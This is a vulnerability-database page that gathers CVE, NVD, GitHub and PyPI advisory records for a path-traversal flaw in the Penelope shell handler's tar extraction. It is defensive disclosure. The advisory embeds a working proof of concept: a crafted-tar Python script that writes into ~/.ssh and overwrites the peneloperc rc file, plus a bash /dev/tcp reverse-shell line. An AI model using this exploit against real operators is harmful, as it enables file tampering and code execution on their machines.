CVE-2026-50558 (GCVE-0-2026-50558)
Vulnerability from cvelistv5 – Published: 2026-07-29 15:34 – Updated: 2026-07-29 17:59
VLAI
EPSS
VEX
Title
Penelope unsafe tar extraction allows arbitrary local file write via crafted session archive
Summary
Penelope Shell Handler is a post-exploitation shell handler for authorized security testing. Prior to 0.20.0, the Unix download() implementation in penelope.py used tar.extractall(local_download_folder) on tar archives returned by remote sessions without validating member paths, allowing a malicious or compromised session to write files outside the intended download directory and potentially overwrite ~/.penelope/peneloperc. This issue is fixed in version 0.20.0.
Severity
5.9 (Medium)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-07-29 17:59 UTC
CWE
- CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Assigner
References
3 references
| URL | Tags |
|---|---|
| https://github.com/brightio/penelope/security/adv… | x_refsource_CONFIRM |
| https://github.com/brightio/penelope/commit/a040a… | x_refsource_MISC |
| https://github.com/brightio/penelope/releases/tag… | x_refsource_MISC |
Impacted products
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-50558",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-07-29T17:59:13.087639Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-07-29T17:59:48.113Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/brightio/penelope/security/advisories/GHSA-f42x-p2mx-hm8r"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "penelope",
"vendor": "brightio",
"versions": [
{
"status": "affected",
"version": "\u003c 0.20.0"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Penelope Shell Handler is a post-exploitation shell handler for authorized security testing. Prior to 0.20.0, the Unix download() implementation in penelope.py used tar.extractall(local_download_folder) on tar archives returned by remote sessions without validating member paths, allowing a malicious or compromised session to write files outside the intended download directory and potentially overwrite ~/.penelope/peneloperc. This issue is fixed in version 0.20.0."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 5.9,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:L",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-22",
"description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-07-29T15:34:05.042Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/brightio/penelope/security/advisories/GHSA-f42x-p2mx-hm8r",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/brightio/penelope/security/advisories/GHSA-f42x-p2mx-hm8r"
},
{
"name": "https://github.com/brightio/penelope/commit/a040afb5db32c7e80b5e8a2f9b2164cf911cfa62",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/brightio/penelope/commit/a040afb5db32c7e80b5e8a2f9b2164cf911cfa62"
},
{
"name": "https://github.com/brightio/penelope/releases/tag/v0.20.0",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/brightio/penelope/releases/tag/v0.20.0"
}
],
"source": {
"advisory": "GHSA-f42x-p2mx-hm8r",
"discovery": "UNKNOWN"
},
"title": "Penelope unsafe tar extraction allows arbitrary local file write via crafted session archive"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-50558",
"datePublished": "2026-07-29T15:34:05.042Z",
"dateReserved": "2026-06-04T21:34:34.426Z",
"dateUpdated": "2026-07-29T17:59:48.113Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2",
"vulnerability-lookup:meta": {
"epss": {
"cve": "CVE-2026-50558",
"date": "2026-10-30",
"epss": "0.00367",
"percentile": "0.30569"
},
"nvd": {
"cve": {
"affected": [
{
"affectedData": [
{
"product": "penelope",
"vendor": "brightio",
"versions": [
{
"status": "affected",
"version": "\u003c 0.20.0"
}
]
}
],
"source": "security-advisories@github.com"
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "Penelope Shell Handler is a post-exploitation shell handler for authorized security testing. Prior to 0.20.0, the Unix download() implementation in penelope.py used tar.extractall(local_download_folder) on tar archives returned by remote sessions without validating member paths, allowing a malicious or compromised session to write files outside the intended download directory and potentially overwrite ~/.penelope/peneloperc. This issue is fixed in version 0.20.0."
},
{
"lang": "es",
"value": "Penelope Shell Gestor es un gestor de shell de post-explotaci\u00f3n para pruebas de seguridad autorizadas. Antes de la versi\u00f3n 0.20.0, la implementaci\u00f3n de download() de Unix en penelope.py utilizaba tar.extractall(local_download_folder) en archivos tar devueltos por sesiones remotas sin validar las rutas de los miembros, permitiendo que una sesi\u00f3n maliciosa o comprometida escribiera archivos fuera del directorio de descarga previsto y potencialmente sobrescribiera ~/.penelope/peneloperc. Este problema se ha corregido en la versi\u00f3n 0.20.0."
}
],
"id": "CVE-2026-50558",
"lastModified": "2026-10-23T23:10:00.157",
"metrics": {
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 5.9,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:L",
"version": "3.1"
},
"exploitabilityScore": 1.6,
"impactScore": 4.2,
"source": "security-advisories@github.com",
"type": "Secondary"
}
],
"ssvcV203": [
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"ssvcData": {
"id": "CVE-2026-50558",
"options": [
{
"exploitation": "poc"
},
{
"automatable": "no"
},
{
"technicalImpact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-07-29T17:59:13.087639Z",
"version": "2.0.3"
}
}
]
},
"published": "2026-07-29T16:17:52.900",
"references": [
{
"source": "security-advisories@github.com",
"url": "https://github.com/brightio/penelope/commit/a040afb5db32c7e80b5e8a2f9b2164cf911cfa62"
},
{
"source": "security-advisories@github.com",
"url": "https://github.com/brightio/penelope/releases/tag/v0.20.0"
},
{
"source": "security-advisories@github.com",
"url": "https://github.com/brightio/penelope/security/advisories/GHSA-f42x-p2mx-hm8r"
},
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"url": "https://github.com/brightio/penelope/security/advisories/GHSA-f42x-p2mx-hm8r"
}
],
"sourceIdentifier": "security-advisories@github.com",
"vulnStatus": "Deferred",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-22"
}
],
"source": "security-advisories@github.com",
"type": "Secondary"
}
]
}
},
"vulnrichment": {
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-50558",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-07-29T17:59:13.087639Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-07-29T17:59:43.179Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/brightio/penelope/security/advisories/GHSA-f42x-p2mx-hm8r"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "penelope",
"vendor": "brightio",
"versions": [
{
"status": "affected",
"version": "\u003c 0.20.0"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Penelope Shell Handler is a post-exploitation shell handler for authorized security testing. Prior to 0.20.0, the Unix download() implementation in penelope.py used tar.extractall(local_download_folder) on tar archives returned by remote sessions without validating member paths, allowing a malicious or compromised session to write files outside the intended download directory and potentially overwrite ~/.penelope/peneloperc. This issue is fixed in version 0.20.0."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 5.9,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:L",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-22",
"description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-07-29T15:34:05.042Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/brightio/penelope/security/advisories/GHSA-f42x-p2mx-hm8r",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/brightio/penelope/security/advisories/GHSA-f42x-p2mx-hm8r"
},
{
"name": "https://github.com/brightio/penelope/commit/a040afb5db32c7e80b5e8a2f9b2164cf911cfa62",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/brightio/penelope/commit/a040afb5db32c7e80b5e8a2f9b2164cf911cfa62"
},
{
"name": "https://github.com/brightio/penelope/releases/tag/v0.20.0",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/brightio/penelope/releases/tag/v0.20.0"
}
],
"source": {
"advisory": "GHSA-f42x-p2mx-hm8r",
"discovery": "UNKNOWN"
},
"title": "Penelope unsafe tar extraction allows arbitrary local file write via crafted session archive"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-50558",
"datePublished": "2026-07-29T15:34:05.042Z",
"dateReserved": "2026-06-04T21:34:34.426Z",
"dateUpdated": "2026-07-29T17:59:48.113Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
}
}
FKIE_CVE-2026-50558
Vulnerability from fkie_nvd - Published: 2026-07-29 16:17 - Updated: 2026-10-23 23:10
Severity
Summary
Penelope Shell Handler is a post-exploitation shell handler for authorized security testing. Prior to 0.20.0, the Unix download() implementation in penelope.py used tar.extractall(local_download_folder) on tar archives returned by remote sessions without validating member paths, allowing a malicious or compromised session to write files outside the intended download directory and potentially overwrite ~/.penelope/peneloperc. This issue is fixed in version 0.20.0.
References
Impacted products
| Vendor | Product | Version |
|---|
{
"affected": [
{
"affectedData": [
{
"product": "penelope",
"vendor": "brightio",
"versions": [
{
"status": "affected",
"version": "\u003c 0.20.0"
}
]
}
],
"source": "security-advisories@github.com"
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "Penelope Shell Handler is a post-exploitation shell handler for authorized security testing. Prior to 0.20.0, the Unix download() implementation in penelope.py used tar.extractall(local_download_folder) on tar archives returned by remote sessions without validating member paths, allowing a malicious or compromised session to write files outside the intended download directory and potentially overwrite ~/.penelope/peneloperc. This issue is fixed in version 0.20.0."
},
{
"lang": "es",
"value": "Penelope Shell Gestor es un gestor de shell de post-explotaci\u00f3n para pruebas de seguridad autorizadas. Antes de la versi\u00f3n 0.20.0, la implementaci\u00f3n de download() de Unix en penelope.py utilizaba tar.extractall(local_download_folder) en archivos tar devueltos por sesiones remotas sin validar las rutas de los miembros, permitiendo que una sesi\u00f3n maliciosa o comprometida escribiera archivos fuera del directorio de descarga previsto y potencialmente sobrescribiera ~/.penelope/peneloperc. Este problema se ha corregido en la versi\u00f3n 0.20.0."
}
],
"id": "CVE-2026-50558",
"lastModified": "2026-10-23T23:10:00.157",
"metrics": {
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 5.9,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:L",
"version": "3.1"
},
"exploitabilityScore": 1.6,
"impactScore": 4.2,
"source": "security-advisories@github.com",
"type": "Secondary"
}
],
"ssvcV203": [
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"ssvcData": {
"id": "CVE-2026-50558",
"options": [
{
"exploitation": "poc"
},
{
"automatable": "no"
},
{
"technicalImpact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-07-29T17:59:13.087639Z",
"version": "2.0.3"
}
}
]
},
"published": "2026-07-29T16:17:52.900",
"references": [
{
"source": "security-advisories@github.com",
"url": "https://github.com/brightio/penelope/commit/a040afb5db32c7e80b5e8a2f9b2164cf911cfa62"
},
{
"source": "security-advisories@github.com",
"url": "https://github.com/brightio/penelope/releases/tag/v0.20.0"
},
{
"source": "security-advisories@github.com",
"url": "https://github.com/brightio/penelope/security/advisories/GHSA-f42x-p2mx-hm8r"
},
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"url": "https://github.com/brightio/penelope/security/advisories/GHSA-f42x-p2mx-hm8r"
}
],
"sourceIdentifier": "security-advisories@github.com",
"vulnStatus": "Deferred",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-22"
}
],
"source": "security-advisories@github.com",
"type": "Secondary"
}
]
}
GHSA-F42X-P2MX-HM8R
Vulnerability from github – Published: 2026-07-29 15:34 – Updated: 2026-07-29 15:34
VLAI
Summary
Penelope unsafe tar extraction allows arbitrary local file write via crafted session archive
Details
Summary
Penelope versions prior to 0.19.3 extracted tar archives received from remote sessions without validating archive member paths. When using the affected Unix download path, a malicious or compromised remote session could return a crafted tar archive containing path traversal entries, such as ../, causing files to be written outside the intended download directory on the Penelope operator's machine.
The impact is limited to files writable by the user running Penelope. In some cases, this arbitrary file write could be chained to operator-side code execution if the attacker can overwrite a file that Penelope or the user later executes, such as ~/.penelope/peneloperc. The issue has been fixed in version 0.19.3 by rejecting unsafe archive paths during extraction.
Affected conditions
The issue requires the operator to use the Main Menu download command to download files from a malicious or compromised remote session that can influence the tar archive returned to Penelope. The Python agent download path is not affected in the same way because it does not rely on the remote tar command.
The vulnerable behavior is related to Python's historical tarfile extraction defaults. In Python versions before 3.14, TarFile.extractall() did not use the safer data extraction filter by default, so applications extracting untrusted tar archives needed to explicitly provide a safe extraction filter or perform their own path validation.
Python 3.14 changes the default extraction behavior to use the data filter, which rejects dangerous archive features such as absolute paths and paths outside the destination directory. Penelope 0.19.3 now performs explicit validation/rejection of unsafe archive paths so the fix does not depend on the Python runtime version.
Details
The vulnerable code is in the Unix download() implementation.
Penelope creates a local download directory:
local_download_folder = self.directory / "downloads"
Later, it opens a tar archive received from the remote session:
tar = tarfile.open(mode=mode, fileobj=tar_source)
Then it extracts all members without validating archive paths:
tar.extractall(local_download_folder)
Because member names are trusted, a malicious tar archive can contain paths such as:
../../../../../home/operator/.penelope/peneloperc
This escapes the intended local_download_folder and writes to an arbitrary path writable by the Penelope operator.
The same extraction block also suppresses Python's DeprecationWarning around unsafe tar extraction:
with warnings.catch_warnings():
warnings.simplefilter("ignore", category=DeprecationWarning)
tar.extractall(local_download_folder)
The file-write impact can be chained with Penelope's rc loading behavior:
def load_rc():
RC = Path(options.basedir / "peneloperc")
try:
with open(RC, "r") as rc:
exec(rc.read(), globals())
By default, options.basedir is ~/.penelope, so the executed rc file is:
~/.penelope/peneloperc
Since session downloads are stored under ~/.penelope/sessions/<session>/downloads, a crafted tar member can traverse upward and plant or replace ~/.penelope/peneloperc. The planted Python code executes when Penelope starts again or when the operator runs reload.
PoC
The following reproduces the issue locally by simulating a malicious remote endpoint. The fake tar binary is placed first in PATH for the test shell, so when Penelope asks the remote session to run tar, the remote session returns a crafted archive with path traversal entries.
Start Penelope in Terminal 1:
penelope -p 4444 -U -C #No upgrade and session connection needed
Prepare the fake remote tar in Terminal 2:
mkdir -p /tmp/penelope-fakebin
mkdir -p "$HOME/.penelope" "$HOME/.ssh"
cp -f "$HOME/.penelope/peneloperc" /tmp/peneloperc.backup 2>/dev/null || true
cat > /tmp/penelope-fakebin/tar <<'EOF'
#!/usr/bin/env python3
import io
import os
import sys
import tarfile
import time
home = os.path.expanduser("~")
target_home = home.lstrip("/")
def add_file(tar, target, data):
data = data.encode()
info = tarfile.TarInfo(target)
info.size = len(data)
info.mode = 0o644
info.mtime = int(time.time())
tar.addfile(info, io.BytesIO(data))
with tarfile.open(mode="w:gz", fileobj=sys.stdout.buffer) as tar:
add_file(tar, "../../../../../" + target_home + "/PENELOPE_CVE_PROOF.txt", "Penelope path traversal proof\n")
add_file(tar, "../../../../../" + target_home + "/.ssh/PENELOPE_SSH_KEY.txt", "fake-demo-ssh_key-not-for-authentication\n")
add_file(
tar,
"../../../../../" + target_home + "/.penelope/peneloperc",
"open('/" + target_home + "/PENELOPE_RC_EXECUTED.txt', 'w').write('peneloperc executed via reload\\n')\n"
)
EOF
chmod +x /tmp/penelope-fakebin/tar
touch /tmp/penelope_dummy
Connect the local test shell back to Penelope in Terminal 2:
PATH=/tmp/penelope-fakebin:$PATH bash -c 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'
In Terminal 1, inside Penelope, trigger the vulnerable download:
download /tmp/penelope_dummy
Verify in Terminal 3 that files were written outside the intended download directory:
cat "$HOME/PENELOPE_CVE_PROOF.txt"
cat "$HOME/.ssh/PENELOPE_SSH_KEY.txt"
grep PENELOPE_RC_EXECUTED "$HOME/.penelope/peneloperc"
Expected output includes:
Penelope path traversal proof
fake-demo-ssh_key-not-for-authentication
open('/home/<user>/PENELOPE_RC_EXECUTED.txt', 'w').write('peneloperc executed via reload\n')
In Terminal 1, inside Penelope, execute the planted rc line:
reload
Verify in Terminal 3 that peneloperc executed:
cat "$HOME/PENELOPE_RC_EXECUTED.txt"
Expected output:
peneloperc executed via reload
Cleanup:
rm -f "$HOME/PENELOPE_CVE_PROOF.txt"
rm -f "$HOME/.ssh/PENELOPE_SSH_KEY.txt"
rm -f "$HOME/PENELOPE_RC_EXECUTED.txt"
if [ -f /tmp/peneloperc.backup ]; then cp -f /tmp/peneloperc.backup "$HOME/.penelope/peneloperc"; else rm -f "$HOME/.penelope/peneloperc"; fi
rm -f /tmp/peneloperc.backup
rm -rf /tmp/penelope-fakebin
rm -f /tmp/penelope_dummy
Impact
A malicious remote session can write arbitrary files on the Penelope operator's machine, limited to the permissions of the user running Penelope.
For a non-root operator, this may be chained to operator-side code execution only if the attacker can overwrite a user-writable file that Penelope or the user later executes, such as:
~/.penelope/peneloperc
~/.bashrc
~/.profile
~/.config/autostart/*.desktop
For a root operator, the impact is higher because root-writable files may be overwritten.
Suggested Fix
Validate every archive member before extraction by resolving the final destination path and rejecting paths outside the intended download directory. Reject symlink and hardlink members. On supported Python versions, filter="data" can be used as an additional safeguard.
Severity
5.9 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "penelope-shell-handler"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.20.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-50558"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-29T15:34:16Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nPenelope versions prior to 0.19.3 extracted tar archives received from remote sessions without validating archive member paths. When using the affected Unix download path, a malicious or compromised remote session could return a crafted tar archive containing path traversal entries, such as `../`, causing files to be written outside the intended download directory on the Penelope operator\u0027s machine.\n\nThe impact is limited to files writable by the user running Penelope. In some cases, this arbitrary file write could be chained to operator-side code execution if the attacker can overwrite a file that Penelope or the user later executes, such as `~/.penelope/peneloperc`. The issue has been fixed in version 0.19.3 by rejecting unsafe archive paths during extraction.\n\n### Affected conditions\n\nThe issue requires the operator to use the Main Menu `download` command to download files from a malicious or compromised remote session that can influence the tar archive returned to Penelope. The Python agent download path is not affected in the same way because it does not rely on the remote `tar` command.\n\nThe vulnerable behavior is related to Python\u0027s historical `tarfile` extraction defaults. In Python versions before 3.14, `TarFile.extractall()` did not use the safer `data` extraction filter by default, so applications extracting untrusted tar archives needed to explicitly provide a safe extraction filter or perform their own path validation.\n\nPython 3.14 changes the default extraction behavior to use the `data` filter, which rejects dangerous archive features such as absolute paths and paths outside the destination directory. Penelope 0.19.3 now performs explicit validation/rejection of unsafe archive paths so the fix does not depend on the Python runtime version.\n\n### Details\n\nThe vulnerable code is in the Unix `download()` implementation.\n\nPenelope creates a local download directory:\n\n```python\nlocal_download_folder = self.directory / \"downloads\"\n```\n\nLater, it opens a tar archive received from the remote session:\n\n```python\ntar = tarfile.open(mode=mode, fileobj=tar_source)\n```\n\nThen it extracts all members without validating archive paths:\n\n```python\ntar.extractall(local_download_folder)\n```\n\nBecause member names are trusted, a malicious tar archive can contain paths such as:\n\n```text\n../../../../../home/operator/.penelope/peneloperc\n```\n\nThis escapes the intended `local_download_folder` and writes to an arbitrary path writable by the Penelope operator.\n\nThe same extraction block also suppresses Python\u0027s `DeprecationWarning` around unsafe tar extraction:\n\n```python\nwith warnings.catch_warnings():\n warnings.simplefilter(\"ignore\", category=DeprecationWarning)\n tar.extractall(local_download_folder)\n```\n\nThe file-write impact can be chained with Penelope\u0027s rc loading behavior:\n\n```python\ndef load_rc():\n RC = Path(options.basedir / \"peneloperc\")\n try:\n with open(RC, \"r\") as rc:\n exec(rc.read(), globals())\n```\n\nBy default, `options.basedir` is `~/.penelope`, so the executed rc file is:\n\n```text\n~/.penelope/peneloperc\n```\n\nSince session downloads are stored under `~/.penelope/sessions/\u003csession\u003e/downloads`, a crafted tar member can traverse upward and plant or replace `~/.penelope/peneloperc`. The planted Python code executes when Penelope starts again or when the operator runs `reload`.\n\n### PoC\n\nThe following reproduces the issue locally by simulating a malicious remote endpoint. The fake `tar` binary is placed first in `PATH` for the test shell, so when Penelope asks the remote session to run `tar`, the remote session returns a crafted archive with path traversal entries.\n\nStart Penelope in Terminal 1:\n\n```bash\npenelope -p 4444 -U -C #No upgrade and session connection needed\n```\n\u003cimg width=\"1920\" height=\"337\" alt=\"path1\" src=\"https://github.com/user-attachments/assets/c8cb2dd6-e6d5-43ce-b3a2-61005dbcf95c\" /\u003e\n\nPrepare the fake remote `tar` in Terminal 2:\n\n```bash\nmkdir -p /tmp/penelope-fakebin\nmkdir -p \"$HOME/.penelope\" \"$HOME/.ssh\"\ncp -f \"$HOME/.penelope/peneloperc\" /tmp/peneloperc.backup 2\u003e/dev/null || true\n\ncat \u003e /tmp/penelope-fakebin/tar \u003c\u003c\u0027EOF\u0027\n#!/usr/bin/env python3\nimport io\nimport os\nimport sys\nimport tarfile\nimport time\n\nhome = os.path.expanduser(\"~\")\ntarget_home = home.lstrip(\"/\")\n\ndef add_file(tar, target, data):\n data = data.encode()\n info = tarfile.TarInfo(target)\n info.size = len(data)\n info.mode = 0o644\n info.mtime = int(time.time())\n tar.addfile(info, io.BytesIO(data))\n\nwith tarfile.open(mode=\"w:gz\", fileobj=sys.stdout.buffer) as tar:\n add_file(tar, \"../../../../../\" + target_home + \"/PENELOPE_CVE_PROOF.txt\", \"Penelope path traversal proof\\n\")\n add_file(tar, \"../../../../../\" + target_home + \"/.ssh/PENELOPE_SSH_KEY.txt\", \"fake-demo-ssh_key-not-for-authentication\\n\")\n add_file(\n tar,\n \"../../../../../\" + target_home + \"/.penelope/peneloperc\",\n \"open(\u0027/\" + target_home + \"/PENELOPE_RC_EXECUTED.txt\u0027, \u0027w\u0027).write(\u0027peneloperc executed via reload\\\\n\u0027)\\n\"\n )\nEOF\n\nchmod +x /tmp/penelope-fakebin/tar\ntouch /tmp/penelope_dummy\n```\n\nConnect the local test shell back to Penelope in Terminal 2:\n\n```bash\nPATH=/tmp/penelope-fakebin:$PATH bash -c \u0027bash -i \u003e\u0026 /dev/tcp/127.0.0.1/4444 0\u003e\u00261\u0027\n```\n\u003cimg width=\"1920\" height=\"1000\" alt=\"path2\" src=\"https://github.com/user-attachments/assets/c6db4888-9a41-4a99-b8d1-35c06f07ca4a\" /\u003e\n\nIn Terminal 1, inside Penelope, trigger the vulnerable download:\n\n```text\ndownload /tmp/penelope_dummy\n```\n\nVerify in Terminal 3 that files were written outside the intended download directory:\n\n```bash\ncat \"$HOME/PENELOPE_CVE_PROOF.txt\"\ncat \"$HOME/.ssh/PENELOPE_SSH_KEY.txt\"\ngrep PENELOPE_RC_EXECUTED \"$HOME/.penelope/peneloperc\"\n```\n\u003cimg width=\"1920\" height=\"573\" alt=\"path3\" src=\"https://github.com/user-attachments/assets/9c7c8d3b-00ee-4d74-b195-1e91ff581243\" /\u003e\n\nExpected output includes:\n\n```text\nPenelope path traversal proof\nfake-demo-ssh_key-not-for-authentication\nopen(\u0027/home/\u003cuser\u003e/PENELOPE_RC_EXECUTED.txt\u0027, \u0027w\u0027).write(\u0027peneloperc executed via reload\\n\u0027)\n```\n\nIn Terminal 1, inside Penelope, execute the planted rc line:\n\n```text\nreload\n```\n\nVerify in Terminal 3 that `peneloperc` executed:\n\n```bash\ncat \"$HOME/PENELOPE_RC_EXECUTED.txt\"\n```\n\nExpected output:\n\n```text\npeneloperc executed via reload\n```\n\nCleanup:\n\n```bash\nrm -f \"$HOME/PENELOPE_CVE_PROOF.txt\"\nrm -f \"$HOME/.ssh/PENELOPE_SSH_KEY.txt\"\nrm -f \"$HOME/PENELOPE_RC_EXECUTED.txt\"\nif [ -f /tmp/peneloperc.backup ]; then cp -f /tmp/peneloperc.backup \"$HOME/.penelope/peneloperc\"; else rm -f \"$HOME/.penelope/peneloperc\"; fi\nrm -f /tmp/peneloperc.backup\nrm -rf /tmp/penelope-fakebin\nrm -f /tmp/penelope_dummy\n```\n\n### Impact\n\nA malicious remote session can write arbitrary files on the Penelope operator\u0027s machine, limited to the permissions of the user running Penelope.\n\nFor a non-root operator, this may be chained to operator-side code execution only if the attacker can overwrite a user-writable file that Penelope or the user later executes, such as:\n\n```text\n~/.penelope/peneloperc\n~/.bashrc\n~/.profile\n~/.config/autostart/*.desktop\n```\n\nFor a root operator, the impact is higher because root-writable files may be overwritten.\n\n### Suggested Fix\n\nValidate every archive member before extraction by resolving the final destination path and rejecting paths outside the intended download directory. Reject symlink and hardlink members. On supported Python versions, `filter=\"data\"` can be used as an additional safeguard.",
"id": "GHSA-f42x-p2mx-hm8r",
"modified": "2026-07-29T15:34:16Z",
"published": "2026-07-29T15:34:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/brightio/penelope/security/advisories/GHSA-f42x-p2mx-hm8r"
},
{
"type": "WEB",
"url": "https://github.com/brightio/penelope/commit/a040afb5db32c7e80b5e8a2f9b2164cf911cfa62"
},
{
"type": "PACKAGE",
"url": "https://github.com/brightio/penelope"
},
{
"type": "WEB",
"url": "https://github.com/brightio/penelope/releases/tag/v0.20.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "Penelope unsafe tar extraction allows arbitrary local file write via crafted session archive"
}
PYSEC-2026-3606
Vulnerability from pysec - Published: 2026-08-04 11:34 - Updated: 2026-08-04 13:36
VLAI
Details
Summary
Penelope versions prior to 0.19.3 extracted tar archives received from remote sessions without validating archive member paths. When using the affected Unix download path, a malicious or compromised remote session could return a crafted tar archive containing path traversal entries, such as ../, causing files to be written outside the intended download directory on the Penelope operator's machine.
The impact is limited to files writable by the user running Penelope. In some cases, this arbitrary file write could be chained to operator-side code execution if the attacker can overwrite a file that Penelope or the user later executes, such as ~/.penelope/peneloperc. The issue has been fixed in version 0.19.3 by rejecting unsafe archive paths during extraction.
Affected conditions
The issue requires the operator to use the Main Menu download command to download files from a malicious or compromised remote session that can influence the tar archive returned to Penelope. The Python agent download path is not affected in the same way because it does not rely on the remote tar command.
The vulnerable behavior is related to Python's historical tarfile extraction defaults. In Python versions before 3.14, TarFile.extractall() did not use the safer data extraction filter by default, so applications extracting untrusted tar archives needed to explicitly provide a safe extraction filter or perform their own path validation.
Python 3.14 changes the default extraction behavior to use the data filter, which rejects dangerous archive features such as absolute paths and paths outside the destination directory. Penelope 0.19.3 now performs explicit validation/rejection of unsafe archive paths so the fix does not depend on the Python runtime version.
Details
The vulnerable code is in the Unix download() implementation.
Penelope creates a local download directory:
local_download_folder = self.directory / "downloads"
Later, it opens a tar archive received from the remote session:
tar = tarfile.open(mode=mode, fileobj=tar_source)
Then it extracts all members without validating archive paths:
tar.extractall(local_download_folder)
Because member names are trusted, a malicious tar archive can contain paths such as:
../../../../../home/operator/.penelope/peneloperc
This escapes the intended local_download_folder and writes to an arbitrary path writable by the Penelope operator.
The same extraction block also suppresses Python's DeprecationWarning around unsafe tar extraction:
with warnings.catch_warnings():
